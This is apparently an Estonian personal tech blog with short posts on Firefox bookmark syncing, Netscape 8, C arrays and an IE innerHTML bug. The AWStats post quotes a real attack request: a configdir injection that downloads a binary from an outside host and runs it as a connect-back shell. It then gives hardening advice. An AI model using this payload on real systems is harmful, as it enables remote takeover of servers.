Järjehoidjate sünkroniseerimine Firefoxis
Kasutan 2-e Firefoxi, üks tööl teine kodus ja vaja on et järjehoidjad (bookmarkid) kahe koha valel ilusti sünkroonis püsiksid. Mingi eraldi lingikataloogi softi installeerimine on lihtsalt liiga tülikas, asi peaks olema ilusti brauserisse integreeritud. Ja siinkohal tulebki appi Firefoxi Bookmark Synchronizer laiendus. Installid ära, restardid brauserit, Bookmarks menüüsse tekib uus valik, sealt saab vajalikud seadistused paika panna. Peale esialgset seadistamist saab selle lisandi olemasolu täielikult unustada, ta võtab värske faili serverist igal brauseri käivitamisel ja paneb selle sinna tagasi igal brauseri sulgemisel.
Miinuseks võib olla see, et ta vajab FTP kontot, kuhu seda faili salvestada. (HTTP tugi on väidetavalt ka olemas, aga ma ei ole kindel kuidas see töötab), minul FTP-ga igatahes probleemi polnud.
Otsi-ja-asenda
Olukorras, kus sul on mitukümmend faili alamkataloogides laiali ja neis kõigis on vaja üks rida ära asendada, saab seda teha nii:
find . -name "aw.ini" -exec perl -pi -e 's/db.host = localhost/db.host = teinehost/' {} \;
See siis leiab üles kõik aw.ini nimelised failid ja asendab neis db.hosti väärtuse. Ja kindlasti on selle tegemiseks veel mitu erinevat võimalust.
John Carmack J2ME-jalas
John Carmack kirjutab oma kogemusest J2ME-ga. Paraku on see kõik liiga üldine selleks et mingit huvi pakkuda. Aga no hei, ta on ju John Carmack ja J2ME on cool, nii et lugege :)
Netscape 8
Hiljuti tuli välja Netscape 8 beetaversioon, ma ise pole seda kordagi kasutanud sest see käib ainult Windowsil ja mul seda pole. Aga ma olen näinud ainult ekraanipilte ja kuulnud jutte ja see pilt mis selle põhjal tekib ei ole üldse ilus. Üks näide jubedast kasutajaliidesest
Blake Ross (üks Firefoxi kasutajaliidese autoritest) kirjutab Netscape 8 kasutajaliidesest pikemalt. Ilmselt suurim featuur on see, et NS8-s saab iga veebilehe jaoks eraldi valida, kas seda rendertatakse Gecko (Firefoxi HTML mootor) või IE abil - see valik on umbes 2 hiireklõpsu kaugusel. Täiesti võimalik on brausida nii et mitu tabi on kõrvuti lahti ja ühes on Gecko joonistatud leht, teises IE nägemus sellest. Vähe sellest, NS8-ga vaikimisi seadistuses on nimekiri umbes 200-st populaarsemast saidist, mida peab näitama IE-ga.
Veebiehitaja jaoks ilmselt täiesti abiks, vähemalt seni kuni on olemas see masendavalt sitt ja sant IE HTML mootor (mis ei oska isegi CSS1-e täies mahus ja isegi implementeeritud osas on tobedad vead). Lõppkasutaja jaoks on see aga täielik õudusunenägu, sest erinev renderdaja ei tähenda ainult pilti, selle juurde käib hulk teisi detaile veel.
Näiteks Yahood (suur ja tuntud) näidatakse vaikimisi IE abil, mõnda vähem tuntud saiti - näiteks Postimees - Geckoga. Kuidas see siis lõppkasutajale paistab?
- Otsing Yahoos lehelt teksti otsides kuvatakse IE stiilis dialoog, Postimehes ilmub akna allserva Firefoxi “Find as you type” riba
- Kohtmenüüd - Mõlemas saidis täiesti erinevad. Kasutaja ei saa enam meelde jätta et tolles menüüs mingil kohal on vajalik tegevus
- Kerimine Yahoo lehte kerides liigub see sujuvalt - venides, Postimehes hoopis teistmoodi - kiiresti
- Ctrl+klikk Postimehes avab lingi uues tabis, Yahoos ei tee see mitte midagi
- Kui sisestatud URLi ei leita siis mõnikord kuvatakse IE stiilis vealeht (kus olev Search link muide ei tööta!) ja teinekord jälle Firefoxi vastav teade
Ja selliseid asju on veel, mõnes mõttes on nad ju väikesed aga samas küllalt frustreerivad. Lõppude lõpuks programmi kasutaja ju ootab, et see käituks mingite reeglite järgi mitte kord ühtemoodi ja siis jälle teistmoodi. Blake Rossi pikem artikkel
developer.yahoo.net
Erinevaid Yahoo otsinguid saab nüüd kasutada otse oma programmidest, pakutakse nii dokumentatsiooni kui ka SDK-d. developer.yahoo.net. Google oli küll ka sel alal esimene, kuid nemad piiravad sellist ligipääsu oma andmebaasile 1000 päringuga päevas, Yahoo-l vähemalt esialgu mingeid piiranguid pole. Üritan Yahoo pakutavat lähiajal testida ja siis siin ka sellest kirjutada.
C ja järjendid funktsiooni argumendina
C suutis mind täna üllatada. Järgnev kood on fiktiivne, lihtsalt illustreerimiseks:
int tiik(int kalad[])
{
int size;
size = sizeof(kalad) / sizeof(kalad[0]);
}
int main(void)
{
int[] tursad = {1,2,3,4};
int[] kilud = {3,9,12};
tiik(tursad);
tiik(kilud);
}
Eesmärgiks on “tiik” funktsioonis saada teada, mitme elemendiga järjend argumendiks on - ja see ei ole C-s võimalik. Sa saad küll argumendiks järjendi anda, aga sa EI SAA kunagi teada, kui mitu elementi selles on. Argumente edastatakse viitadena, sizeof(kalad) tiik() sees annab alati 4 ehk viida suuruse. Lahenduseks on anda funktsioonile lisaks kaasa veel üks argument - sellega öeldase ära järjendi suurus.
C ekspert ütleb selle jutu peale nüüd kindlasti ja täiesti õigustatult “well, duh”, aga minu jaoks, kes ma olen ilmselgelt kõrgema taseme keeltega ära hellitatud, tuli selline asi täieliku üllatusena.
Tarkvara vs inimene
Derek Kite kirjutab:
Almost all software depends on you fitting your operation to the software. You must change the way you do things. Which is fine if you don’t have a way of doing things. But what if your business has specific demands?
Ehk siis - peaaegu kõik erinevad tarkvaratooted nõuavad et kasutaja nendega veidruste/puudustega kohaneks ja mitte vastupidi. See ei peaks ju nii olema?
Lihtsalt masendav
Jaanuaris avastati AWStats nimelisest veebilogide analüsaatorist “remote command execution vulnerability“.
Tänu sellele, et rakenduse progeja ei kontrollinud hoolega üle sisendandmeid, sai suvaline soovija AWStatsi kaudu masinas eemalt käske käivitada. Kuidas seda kõige “parem” ära kasutada on? Järgnev logirida on pärit otse reaalsest elust:
[09/Feb/2005:09:37:19 +0200] “GET /awstats//awstats.pl?configdir=|echo%20;echo%20__comeco__;
%20cd%20/tmp;%20%20wget%20http://www.commandt.org/xpl/dc;
%20%20chmod%20777%20dc;%20%20./dc%20200.193.250.118%2085%20;
echo%20__fim__;echo%20| HTTP/1.1″ 200 645
Seesama configdir on muutuja, mille väärtust ei kontrollita ja siit on näha, et käivitatakse järgnevad käsud
echo __comeco__
cd /tmp
wget http://www.commandt.org/xpl/dc
chmod 0777 dc
./dc 200.193.250.118 85
echo __fim__
dc binaari uurides on näha et tegemist on nn “connect back” tüüpi shelliga, mis võimaldab seda masinat eemalt kamandada. Niisama lihtne ongi ühest Linux masinast Zombiet teha. Piisab kui on mõni korralikult turvamata veebirakendus käimas on (täpselt samasugust ligipääsu võimaldavad vead leiti mõni aeg tagasi phpBB-st ja Mambost) ja sa oled juba pool lahingut kaotanud. Edasi võib näiteks katsetada erinevaid local root exploite, installida mõne proge millega saab eemalt meili saata või DOSi teha - võimalused on piiritud.
Kuidas selliste asjade vastu võidelda?
- Ära hoia veebiserveris wget vms programmi või paiguta see nii et ta oleks kohas, kust igaüks otsida ei oska
- Moundi /tmp noexec flagiga
- Ära luba PHP kasutamist inimestele keda sa ei usalda ilma safe_modeta
- Keela serverist ära väljuvad ühendused ja luba neid ainult sinna kuhu tõesti vaja
- Jälgi Bugtraqi
- Uuenda pidevalt oma masinas olevat softi
Eks võimalusi on veel, lugejad võiks oma lahendusi/lähenemisi ka tutvustada.
Ma-vihkan-oraaklit
I-Hate-Oracle klubi.. Mu enda kogemus Oraclega on küllalt piiratud, nii et ma ei kommenteri. Aga põnev on lugeda küll. Eriti too esimene teema “Why..” sealt foorumist.
Minu jaoks on näiteks uus see et iga 6 kuu tagant peab kohale kutsuma nö konsultandi, kes baasi korrasolekut kontrollib. On see tõsi?
Või siis - asjaga pole kaasas korralikku SQL konsooli, selleks soovitatakse osta mingi eraldi vidin, mille kodulehel tuuakse esile järgmisi võimalusi “SQL syntax hilight, resizable MDI windows”.
Enda kogemusest tuleb meelde ainult SQL*Plus, see käsurea klient, millel puudus käskude ajalugu. Tegid tüpo sisestamises ja said kogu lause uuesti sisestada. Aga ma olen kindel, et see on juba ammu parandatud :) Ja kindlasti on Oracle väga hea asi ja need tegelased seal klubis lihtsalt ei tea millest nad räägivad. On ju? Eks ju?
IE ja innerHTML
Komistasin ühe IE kala otsa. Kui lehel on nn. Rich Text Editor ehk WYSIWYG redaktor, siis suure tõenäosusega on see ehitatud just iframe abil. Kui RTE-le teha juurde lisafunktsioon, mis selle iframe sisu modifitseerib, näiteks midagi sellist:
el = document.getElementById("editor");
old = el.contentWindow.document.body.innerHTML;
old2 = old.replace(/|< /span>||< /font>/gi,”");
el.contentWindow.document.body.innerHTML = old2;
siis IE-s innerHTML atribuudile omistamisel muutuvad kõik dokumendis olevad suhteliseld lingid absoluutseteks. Kui sul on näiteks href=”/666″, siis peale omistamist saab sellest href=”http://sait/666″. Ja otse loomulikult juhtub see ainult IE-s, teised brauserid töötavad nii nagu ma eeldan - ei kirjuta linke ümber. See häirib, sest veebisaidi ehitamisel kasutatakse küllalt sageli ühte URLi, avalikuks läheb see aga hoopis teise URLi alt. Ja siis ongi nii et testaadressilt sisestatud tekstides olevad suhtelised lingid viitavad valesse kohta. Omaette küsimus on muidugi see et miks linke nii on vaja sisestada :) Mõnes olukorras lihtsalt on.
Minu lahendus oli selline: dokumendi salvestamisel korjatakse iframede seest sisu kokku ja pannakse see vormielementidesse (kõlab rõveda häkina aga paraku nii kõik need redaktorid töövad) ja sellesse koodilõiku lisasin järgmised read:
remove_exp = new RegExp("href="http://sait","gi");
tmpdat = document.getElementById('editor').contentWindow.document.body.innerHTML;
document.changeform.elements['editor'].value=tmpdat.replace(remove_exp,”href=”");
http://sait väärtus tuleb muide sellest koodist, mis JavaScripti genereerib, eksisteerib muidugi ka puhas JS alternatiiv (document.location) aga mulle piisas sellest ka.





Recent Comments